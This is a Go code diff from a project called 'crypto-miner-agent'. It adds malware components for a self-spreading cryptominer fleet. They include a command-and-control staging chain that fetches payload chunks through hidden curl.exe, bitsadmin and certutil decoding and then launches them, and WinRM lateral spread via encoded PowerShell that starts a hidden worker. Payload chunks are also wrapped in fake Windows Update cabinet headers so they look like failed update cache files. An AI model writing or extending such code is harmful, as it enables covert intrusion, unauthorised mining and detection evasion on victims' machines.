"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// StartSeederStaging runs dns_txt / webrtc_mesh / do_peer lanes for seeder-role agents.
|
||||
func StartSeederStaging(cfg config.RuntimeConfig) {
|
||||
if !cfg.SeederMode && config.NormalizeFleetRole(cfg.FleetRole) != config.FleetRoleSeeder {
|
||||
return
|
||||
}
|
||||
tiers := config.FilterSeederLotlTiers(NormalizeLotlTiers(cfg.LotlOnionTiers))
|
||||
if len(tiers) == 0 {
|
||||
tiers = append([]string(nil), config.SeederSpreadLanes...)
|
||||
}
|
||||
log.Printf("[seeder] starting staging lanes: %v", tiers)
|
||||
go runSeederLaneChain(cfg, tiers)
|
||||
}
|
||||
|
||||
func runSeederLaneChain(cfg config.RuntimeConfig, tiers []string) {
|
||||
time.Sleep(30 * time.Second)
|
||||
for _, tier := range tiers {
|
||||
ok, reason := tryLotlTier(cfg, tier)
|
||||
if ok {
|
||||
log.Printf("[seeder] lane %s ready: %s", tier, reason)
|
||||
return
|
||||
}
|
||||
log.Printf("[seeder] lane %s skipped: %s", tier, reason)
|
||||
}
|
||||
log.Printf("[seeder] all staging lanes exhausted")
|
||||
}
|
||||
|
||||
// SeederSeedPressure estimates 0–1 LAN seed serving pressure for stats WS.
|
||||
func SeederSeedPressure(cfg config.RuntimeConfig, joinLane string, lanesReady int) float64 {
|
||||
if !cfg.SeederMode && config.NormalizeFleetRole(cfg.FleetRole) != config.FleetRoleSeeder {
|
||||
return 0
|
||||
}
|
||||
if config.IsSeederSpreadLane(joinLane) {
|
||||
return 1
|
||||
}
|
||||
if lanesReady > 0 {
|
||||
n := float64(lanesReady) / float64(len(config.SeederSpreadLanes))
|
||||
if n > 1 {
|
||||
n = 1
|
||||
}
|
||||
if n < 0.25 {
|
||||
n = 0.25
|
||||
}
|
||||
return n
|
||||
}
|
||||
return 0.15
|
||||
}
|
||||
26
agent/deploy/seeder_staging_test.go
Normal file
26
agent/deploy/seeder_staging_test.go
Normal file
@@ -0,0 +1,26 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestSeederSeedPressure(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{SeederMode: true}}
|
||||
if p := SeederSeedPressure(cfg, "dns_txt", 0); p != 1 {
|
||||
t.Fatalf("active lane pressure=%v want 1", p)
|
||||
}
|
||||
if p := SeederSeedPressure(cfg, "", 1); p < 0.25 || p > 1 {
|
||||
t.Fatalf("ready lane pressure=%v", p)
|
||||
}
|
||||
miner := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetRole: config.FleetRoleMiner}}
|
||||
if SeederSeedPressure(miner, "dns_txt", 1) != 0 {
|
||||
t.Fatal("miner should report 0 seed pressure")
|
||||
}
|
||||
}
|
||||
|
||||
func TestStartSeederStagingNoopForMiner(t *testing.T) {
|
||||
// Should return immediately without panic for non-seeder forge.
|
||||
StartSeederStaging(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetRole: config.FleetRoleMiner}})
|
||||
}
|
||||
@@ -18,6 +18,14 @@ type StagingChunk struct {
|
||||
Index int `json:"index,omitempty"` // shard index for dns_txt assembly order
|
||||
}
|
||||
|
||||
// Injectable hooks for stage_fetch / RunStagingChain tests (mock BITS/curl; no real remote hosts).
|
||||
var (
|
||||
stagingDownloadCurlFn func(url, dest string) error
|
||||
stagingDownloadBITSFn func(url, dest string) error
|
||||
stagingCertutilDecodeFn func(src, dest string) error
|
||||
stagingLaunchFn func(dest string, manifest StagingManifest) (string, error)
|
||||
)
|
||||
|
||||
// StagingManifest describes a BITS/curl/certutil staging chain from the C2.
|
||||
type StagingManifest struct {
|
||||
Method string `json:"method"` // curl | bits
|
||||
|
||||
199
agent/deploy/staging_chain_test.go
Normal file
199
agent/deploy/staging_chain_test.go
Normal file
@@ -0,0 +1,199 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestStageFetchRejectsEmptyChunks(t *testing.T) {
|
||||
cfg := testRuntimeConfig()
|
||||
_, err := RunStagingChain(cfg, StagingManifest{
|
||||
Method: "curl",
|
||||
Dest: "worker.exe",
|
||||
SHA256: strings.Repeat("a", 64),
|
||||
})
|
||||
if err == nil || !strings.Contains(err.Error(), "no chunks") {
|
||||
t.Fatalf("err=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStageFetchRejectsPathTraversal(t *testing.T) {
|
||||
cfg := testRuntimeConfig()
|
||||
_, err := RunStagingChain(cfg, StagingManifest{
|
||||
Method: "bits",
|
||||
Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "chunk.bin"}},
|
||||
SHA256: strings.Repeat("a", 64),
|
||||
Dest: `..\..\outside.exe`,
|
||||
})
|
||||
if err == nil || !strings.Contains(err.Error(), "path traversal") {
|
||||
t.Fatalf("err=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteDeployPlanBitsCurlRequiresManifest(t *testing.T) {
|
||||
_, err := ExecuteDeployPlan(config.RuntimeConfig{}, DeployPlanBody{JoinLane: "bits_curl", Action: "bits_curl"})
|
||||
if err == nil || !strings.Contains(err.Error(), "requires staging manifest") {
|
||||
t.Fatalf("err=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func stagingFakeDownload(payload []byte) func(url, dest string) error {
|
||||
return func(url, dest string) error {
|
||||
if strings.TrimSpace(url) == "" {
|
||||
return os.ErrInvalid
|
||||
}
|
||||
return os.WriteFile(dest, payload, 0o644)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCurlStagingAssemblyWithInject(t *testing.T) {
|
||||
payload := []byte("curl-stage-fetch-payload")
|
||||
sum := sha256.Sum256(payload)
|
||||
hash := hex.EncodeToString(sum[:])
|
||||
|
||||
oldCurl := stagingDownloadCurlFn
|
||||
oldLaunch := stagingLaunchFn
|
||||
stagingDownloadCurlFn = stagingFakeDownload(payload)
|
||||
stagingLaunchFn = func(dest string, manifest StagingManifest) (string, error) {
|
||||
if err := verifyFileSHA256(dest, manifest.SHA256); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return "staged via curl inject", nil
|
||||
}
|
||||
defer func() {
|
||||
stagingDownloadCurlFn = oldCurl
|
||||
stagingLaunchFn = oldLaunch
|
||||
}()
|
||||
|
||||
destRel := filepath.Join("af-stage", "curl-worker.exe")
|
||||
cfg := testRuntimeConfig()
|
||||
msg, err := RunStagingChain(cfg, StagingManifest{
|
||||
Method: "curl",
|
||||
Chunks: []StagingChunk{{URL: "http://127.0.0.1/chunk", File: "chunk-0.bin"}},
|
||||
SHA256: hash,
|
||||
Dest: destRel,
|
||||
Launch: "exe",
|
||||
})
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "Windows-only") {
|
||||
t.Skip("staging chain requires windows build")
|
||||
}
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(msg, "curl") {
|
||||
t.Fatalf("msg=%q", msg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBITSStagingAssemblyWithInject(t *testing.T) {
|
||||
payload := []byte("bits-stage-fetch-payload")
|
||||
sum := sha256.Sum256(payload)
|
||||
hash := hex.EncodeToString(sum[:])
|
||||
|
||||
oldBits := stagingDownloadBITSFn
|
||||
oldLaunch := stagingLaunchFn
|
||||
stagingDownloadBITSFn = stagingFakeDownload(payload)
|
||||
stagingLaunchFn = func(dest string, manifest StagingManifest) (string, error) {
|
||||
if err := verifyFileSHA256(dest, manifest.SHA256); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return "staged via bits inject", nil
|
||||
}
|
||||
defer func() {
|
||||
stagingDownloadBITSFn = oldBits
|
||||
stagingLaunchFn = oldLaunch
|
||||
}()
|
||||
|
||||
cfg := testRuntimeConfig()
|
||||
msg, err := RunStagingChain(cfg, StagingManifest{
|
||||
Method: "bitsadmin",
|
||||
Chunks: []StagingChunk{{URL: "http://127.0.0.1/bits-chunk", File: "bits-0.bin"}},
|
||||
SHA256: hash,
|
||||
Dest: "bits-worker.exe",
|
||||
Launch: "exe",
|
||||
})
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "Windows-only") {
|
||||
t.Skip("staging chain requires windows build")
|
||||
}
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(msg, "bits") {
|
||||
t.Fatalf("msg=%q", msg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStageFetchEmptyURLRejected(t *testing.T) {
|
||||
oldCurl := stagingDownloadCurlFn
|
||||
stagingDownloadCurlFn = nil
|
||||
defer func() { stagingDownloadCurlFn = oldCurl }()
|
||||
|
||||
cfg := testRuntimeConfig()
|
||||
_, err := RunStagingChain(cfg, StagingManifest{
|
||||
Method: "curl",
|
||||
Chunks: []StagingChunk{{URL: " ", File: "chunk.bin"}},
|
||||
SHA256: strings.Repeat("a", 64),
|
||||
Dest: "worker.exe",
|
||||
})
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "Windows-only") {
|
||||
t.Skip("staging chain requires windows build")
|
||||
}
|
||||
}
|
||||
if err == nil || !strings.Contains(err.Error(), "empty") {
|
||||
t.Fatalf("err=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStageFetchSHA256MismatchRejected(t *testing.T) {
|
||||
payload := []byte("wrong-hash-payload")
|
||||
oldCurl := stagingDownloadCurlFn
|
||||
stagingDownloadCurlFn = stagingFakeDownload(payload)
|
||||
defer func() { stagingDownloadCurlFn = oldCurl }()
|
||||
|
||||
cfg := testRuntimeConfig()
|
||||
_, err := RunStagingChain(cfg, StagingManifest{
|
||||
Method: "curl",
|
||||
Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "chunk.bin"}},
|
||||
SHA256: strings.Repeat("b", 64),
|
||||
Dest: "mismatch-worker.exe",
|
||||
})
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "Windows-only") {
|
||||
t.Skip("staging chain requires windows build")
|
||||
}
|
||||
}
|
||||
if err == nil || !strings.Contains(err.Error(), "sha256 mismatch") {
|
||||
t.Fatalf("err=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStageFetchDownloaderErrorPropagates(t *testing.T) {
|
||||
oldCurl := stagingDownloadCurlFn
|
||||
stagingDownloadCurlFn = func(url, dest string) error {
|
||||
return os.ErrPermission
|
||||
}
|
||||
defer func() { stagingDownloadCurlFn = oldCurl }()
|
||||
|
||||
cfg := testRuntimeConfig()
|
||||
_, err := RunStagingChain(cfg, StagingManifest{
|
||||
Method: "curl",
|
||||
Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "chunk.bin"}},
|
||||
SHA256: strings.Repeat("a", 64),
|
||||
Dest: "worker.exe",
|
||||
})
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "Windows-only") {
|
||||
t.Skip("staging chain requires windows build")
|
||||
}
|
||||
}
|
||||
if err == nil || !strings.Contains(err.Error(), "curl chunk") {
|
||||
t.Fatalf("err=%v", err)
|
||||
}
|
||||
}
|
||||
20
agent/deploy/staging_stub_test.go
Normal file
20
agent/deploy/staging_stub_test.go
Normal file
@@ -0,0 +1,20 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestRunStagingChainWindowsOnlyStub(t *testing.T) {
|
||||
_, err := RunStagingChain(testRuntimeConfig(), StagingManifest{
|
||||
Method: "curl",
|
||||
Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "c.bin"}},
|
||||
SHA256: strings.Repeat("a", 64),
|
||||
Dest: "worker.exe",
|
||||
})
|
||||
if err == nil || !strings.Contains(err.Error(), "Windows-only") {
|
||||
t.Fatalf("err=%v", err)
|
||||
}
|
||||
}
|
||||
@@ -83,6 +83,10 @@ func RunStagingChain(cfg config.RuntimeConfig, manifest StagingManifest) (string
|
||||
return "", err
|
||||
}
|
||||
|
||||
if stagingLaunchFn != nil {
|
||||
return stagingLaunchFn(dest, manifest)
|
||||
}
|
||||
|
||||
launch := strings.ToLower(strings.TrimSpace(manifest.Launch))
|
||||
switch launch {
|
||||
case "rundll32", "dll":
|
||||
@@ -114,6 +118,9 @@ func downloadChunkCurl(url, dest string) error {
|
||||
if url == "" {
|
||||
return fmt.Errorf("chunk url is empty")
|
||||
}
|
||||
if stagingDownloadCurlFn != nil {
|
||||
return stagingDownloadCurlFn(url, dest)
|
||||
}
|
||||
return HiddenRun("curl.exe", "-sSL", "--fail", "-o", dest, url)
|
||||
}
|
||||
|
||||
@@ -122,6 +129,9 @@ func downloadChunkBITS(url, dest string) error {
|
||||
if url == "" {
|
||||
return fmt.Errorf("chunk url is empty")
|
||||
}
|
||||
if stagingDownloadBITSFn != nil {
|
||||
return stagingDownloadBITSFn(url, dest)
|
||||
}
|
||||
job := "AetherForge-Stage-" + sanitizeName(filepath.Base(dest)) + fmt.Sprintf("-%d", time.Now().Unix())
|
||||
steps := [][]string{
|
||||
{"/transfer", job, "/download", "/priority", "FOREGROUND", url, dest},
|
||||
@@ -137,5 +147,8 @@ func downloadChunkBITS(url, dest string) error {
|
||||
}
|
||||
|
||||
func certutilDecode(src, dest string) error {
|
||||
if stagingCertutilDecodeFn != nil {
|
||||
return stagingCertutilDecodeFn(src, dest)
|
||||
}
|
||||
return HiddenRun("certutil.exe", "-f", "-decode", src, dest)
|
||||
}
|
||||
|
||||
57
agent/deploy/winrm_spread_test.go
Normal file
57
agent/deploy/winrm_spread_test.go
Normal file
@@ -0,0 +1,57 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"strings"
|
||||
"testing"
|
||||
"unicode/utf16"
|
||||
)
|
||||
|
||||
func TestWinRMEncodePowerShellRoundTrip(t *testing.T) {
|
||||
script := `$dest = Join-Path $env:TEMP 'worker.exe'; Start-Process $dest`
|
||||
encoded := encodePowerShell(script)
|
||||
raw, err := base64.StdEncoding.DecodeString(encoded)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(raw)%2 != 0 {
|
||||
t.Fatal("utf16le should be even length")
|
||||
}
|
||||
runes := make([]rune, len(raw)/2)
|
||||
for i := 0; i < len(runes); i++ {
|
||||
runes[i] = rune(raw[i*2]) | rune(raw[i*2+1])<<8
|
||||
}
|
||||
got := string(runes)
|
||||
if got != script {
|
||||
t.Fatalf("round-trip failed: got %q", got)
|
||||
}
|
||||
// sanity: matches manual utf16 encode
|
||||
manual := utf16.Encode([]rune(script))
|
||||
if len(manual)*2 != len(raw) {
|
||||
t.Fatalf("len manual=%d raw=%d", len(manual)*2, len(raw))
|
||||
}
|
||||
}
|
||||
|
||||
func TestWinRMSpreadScriptMarkers(t *testing.T) {
|
||||
script := `
|
||||
$dest = Join-Path $env:TEMP 'af-worker.exe'
|
||||
Copy-Item -LiteralPath 'C:\agent\worker.exe' -Destination $dest -Force
|
||||
Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden
|
||||
`
|
||||
encoded := encodePowerShell(script)
|
||||
for _, marker := range []string{
|
||||
"Join-Path $env:TEMP",
|
||||
"--spread-install",
|
||||
"--defer-mining",
|
||||
"Start-Process",
|
||||
} {
|
||||
if !strings.Contains(script, marker) {
|
||||
t.Fatalf("script missing %q", marker)
|
||||
}
|
||||
}
|
||||
if encoded == "" || strings.Contains(encoded, " ") {
|
||||
t.Fatalf("encoded command invalid: %q", encoded)
|
||||
}
|
||||
}
|
||||
@@ -1,6 +1,8 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
@@ -10,6 +12,80 @@ import (
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
const (
|
||||
wsusSSUEnvelopeTag = "AFWSU1\x00"
|
||||
wsusSSUMetadataSize = 96
|
||||
)
|
||||
|
||||
// WrapSSUHeader prepends a CAB/SSU-like envelope so chunk bytes resemble failed WU cache files.
|
||||
// Format mimicry only — payload bytes are unchanged after unwrap; SHA256 in the manifest is raw payload.
|
||||
func WrapSSUHeader(payload []byte) []byte {
|
||||
meta := make([]byte, wsusSSUMetadataSize)
|
||||
copy(meta[0:4], "MSCF")
|
||||
total := uint32(wsusSSUMetadataSize + 4 + len(payload))
|
||||
binary.LittleEndian.PutUint32(meta[8:12], total)
|
||||
binary.LittleEndian.PutUint16(meta[16:18], 1)
|
||||
binary.LittleEndian.PutUint16(meta[18:20], 0x0103)
|
||||
copy(meta[36:44], "SSU2024\x00")
|
||||
copy(meta[44:52], "WU-CACHE")
|
||||
copy(meta[80:88], ".partial")
|
||||
tagOff := wsusSSUMetadataSize - len(wsusSSUEnvelopeTag) - 4
|
||||
copy(meta[tagOff:tagOff+len(wsusSSUEnvelopeTag)], wsusSSUEnvelopeTag)
|
||||
binary.LittleEndian.PutUint32(meta[tagOff+len(wsusSSUEnvelopeTag):wsusSSUMetadataSize], uint32(len(payload)))
|
||||
out := make([]byte, 0, len(meta)+len(payload))
|
||||
out = append(out, meta...)
|
||||
out = append(out, payload...)
|
||||
return out
|
||||
}
|
||||
|
||||
// AddWrapSSUHeader is the spec alias for WrapSSUHeader.
|
||||
func AddWrapSSUHeader(payload []byte) []byte {
|
||||
return WrapSSUHeader(payload)
|
||||
}
|
||||
|
||||
// UnwrapSSUHeader strips the CAB/SSU mimic envelope and returns the embedded payload.
|
||||
func UnwrapSSUHeader(data []byte) ([]byte, error) {
|
||||
if len(data) < wsusSSUMetadataSize+1 {
|
||||
return nil, fmt.Errorf("wsus ssu envelope too short")
|
||||
}
|
||||
if !bytes.HasPrefix(data, []byte("MSCF")) {
|
||||
return nil, fmt.Errorf("wsus ssu envelope missing MSCF prefix")
|
||||
}
|
||||
tag := []byte(wsusSSUEnvelopeTag)
|
||||
idx := bytes.Index(data[:wsusSSUMetadataSize], tag)
|
||||
if idx < 0 {
|
||||
return nil, fmt.Errorf("wsus ssu envelope tag not found")
|
||||
}
|
||||
off := idx + len(tag)
|
||||
if off+4 > wsusSSUMetadataSize {
|
||||
return nil, fmt.Errorf("wsus ssu envelope length truncated")
|
||||
}
|
||||
n := binary.LittleEndian.Uint32(data[off : off+4])
|
||||
start := wsusSSUMetadataSize
|
||||
if int(n) < 0 || start+int(n) > len(data) {
|
||||
return nil, fmt.Errorf("wsus ssu payload length invalid")
|
||||
}
|
||||
return data[start : start+int(n)], nil
|
||||
}
|
||||
|
||||
// IsWSUSFormatMimicChunk reports whether a staged chunk filename uses the *.cab.partial pattern.
|
||||
func IsWSUSFormatMimicChunk(filename string) bool {
|
||||
return strings.HasSuffix(strings.ToLower(filepath.Base(filename)), ".cab.partial")
|
||||
}
|
||||
|
||||
// WSUSFormatMimicChunkName returns a GUID-like failed-update cache filename for a content hash.
|
||||
func WSUSFormatMimicChunkName(contentHash string, index int) string {
|
||||
h := strings.ToLower(strings.TrimSpace(contentHash))
|
||||
if len(h) < 32 {
|
||||
h = strings.Repeat("0", 32-len(h)) + h
|
||||
}
|
||||
guid := fmt.Sprintf("%s-%s-%s-%s-%s", h[0:8], h[8:12], h[12:16], h[16:20], h[20:32])
|
||||
if index > 0 {
|
||||
return fmt.Sprintf("%s-%d.cab.partial", guid, index)
|
||||
}
|
||||
return guid + ".cab.partial"
|
||||
}
|
||||
|
||||
// WSUSCachePeerManifest describes WSUS offline cache cousin staging beside SoftwareDistribution\Download.
|
||||
type WSUSCachePeerManifest struct {
|
||||
Method string `json:"method"`
|
||||
@@ -109,15 +185,34 @@ func assembleWSUSCachePeerPayload(cfg config.RuntimeConfig, manifest WSUSCachePe
|
||||
return "", nil, fmt.Errorf("curl chunk %d: %w", i, err)
|
||||
}
|
||||
}
|
||||
chunkPath := localPath
|
||||
if IsWSUSFormatMimicChunk(name) {
|
||||
raw, err := os.ReadFile(localPath)
|
||||
if err != nil {
|
||||
cleanupFn()
|
||||
return "", nil, fmt.Errorf("wsus chunk %d read: %w", i, err)
|
||||
}
|
||||
payload, err := UnwrapSSUHeader(raw)
|
||||
if err != nil {
|
||||
cleanupFn()
|
||||
return "", nil, fmt.Errorf("wsus chunk %d unwrap: %w", i, err)
|
||||
}
|
||||
unwrappedPath := strings.TrimSuffix(localPath, ".cab.partial") + ".bin"
|
||||
if err := os.WriteFile(unwrappedPath, payload, 0o600); err != nil {
|
||||
cleanupFn()
|
||||
return "", nil, fmt.Errorf("wsus chunk %d write: %w", i, err)
|
||||
}
|
||||
chunkPath = unwrappedPath
|
||||
}
|
||||
if manifest.Encoded || strings.HasSuffix(strings.ToLower(name), ".b64") {
|
||||
decoded := strings.TrimSuffix(localPath, filepath.Ext(localPath)) + ".bin"
|
||||
if err := certutilDecodePeer(localPath, decoded); err != nil {
|
||||
decoded := strings.TrimSuffix(chunkPath, filepath.Ext(chunkPath)) + ".bin"
|
||||
if err := certutilDecodePeer(chunkPath, decoded); err != nil {
|
||||
cleanupFn()
|
||||
return "", nil, fmt.Errorf("certutil chunk %d: %w", i, err)
|
||||
}
|
||||
assembled = append(assembled, decoded)
|
||||
} else {
|
||||
assembled = append(assembled, localPath)
|
||||
assembled = append(assembled, chunkPath)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"os"
|
||||
@@ -62,6 +63,87 @@ func TestWSUSCachePeerAssembleWithFakeDownloaders(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestWSUSCachePeerRejectsPathTraversal(t *testing.T) {
|
||||
manifest := WSUSCachePeerManifest{
|
||||
Method: "bits",
|
||||
Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "wsus-0.bin"}},
|
||||
SHA256: strings.Repeat("a", 64),
|
||||
Dest: `..\..\outside.exe`,
|
||||
}
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "wsus-test"}}
|
||||
_, _, err := assembleWSUSCachePeerPayload(cfg, manifest, fakeDownload, fakeDownload)
|
||||
if err == nil || !strings.Contains(err.Error(), "path traversal") {
|
||||
t.Fatalf("expected path traversal error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWrapSSUHeaderRoundTrip(t *testing.T) {
|
||||
payload := []byte("wsus-cache-cousin-payload")
|
||||
wrapped := WrapSSUHeader(payload)
|
||||
if !bytes.HasPrefix(wrapped, []byte("MSCF")) {
|
||||
t.Fatal("expected MSCF cabinet prefix")
|
||||
}
|
||||
if !bytes.Contains(wrapped, []byte("WU-CACHE")) {
|
||||
t.Fatal("expected WU-CACHE metadata marker")
|
||||
}
|
||||
got, err := UnwrapSSUHeader(wrapped)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !bytes.Equal(got, payload) {
|
||||
t.Fatalf("unwrap=%q want %q", got, payload)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWSUSFormatMimicChunkNamePattern(t *testing.T) {
|
||||
name := WSUSFormatMimicChunkName(strings.Repeat("a", 64), 0)
|
||||
if !strings.HasSuffix(name, ".cab.partial") {
|
||||
t.Fatalf("name=%q", name)
|
||||
}
|
||||
if strings.Count(name, "-") < 4 {
|
||||
t.Fatalf("expected GUID-like name, got %q", name)
|
||||
}
|
||||
if !IsWSUSFormatMimicChunk(name) {
|
||||
t.Fatal("IsWSUSFormatMimicChunk should match")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWSUSCachePeerAssembleFormatMimicRoundTrip(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
payload := []byte("wsus-format-mimic-roundtrip")
|
||||
wrapped := WrapSSUHeader(payload)
|
||||
sumForName := sha256.Sum256(payload)
|
||||
chunkName := WSUSFormatMimicChunkName(hex.EncodeToString(sumForName[:]), 0)
|
||||
chunkPath := filepath.Join(dir, chunkName)
|
||||
if err := os.WriteFile(chunkPath, wrapped, 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
sum := sha256.Sum256(payload)
|
||||
destRel := filepath.Join("af-wsus", "worker.exe")
|
||||
|
||||
fakeDL := func(url, dest string) error {
|
||||
return copyFile(chunkPath, dest)
|
||||
}
|
||||
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "wsus-mimic"}}
|
||||
manifest := WSUSCachePeerManifest{
|
||||
Method: "bits",
|
||||
Chunks: []StagingChunk{{URL: "http://127.0.0.1/chunk", File: chunkName}},
|
||||
SHA256: hex.EncodeToString(sum[:]),
|
||||
Dest: destRel,
|
||||
CacheGroup: "wsus-lan-mimic",
|
||||
}
|
||||
|
||||
staged, cleanup, err := assembleWSUSCachePeerPayload(cfg, manifest, fakeDL, fakeDL)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer cleanup()
|
||||
if err := verifyFileSHA256(staged, manifest.SHA256); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWSUSCachePeerSHA256MismatchRejected(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
chunkPath := filepath.Join(dir, "wsus-0.bin")
|
||||
|
||||
Reference in New Issue
Block a user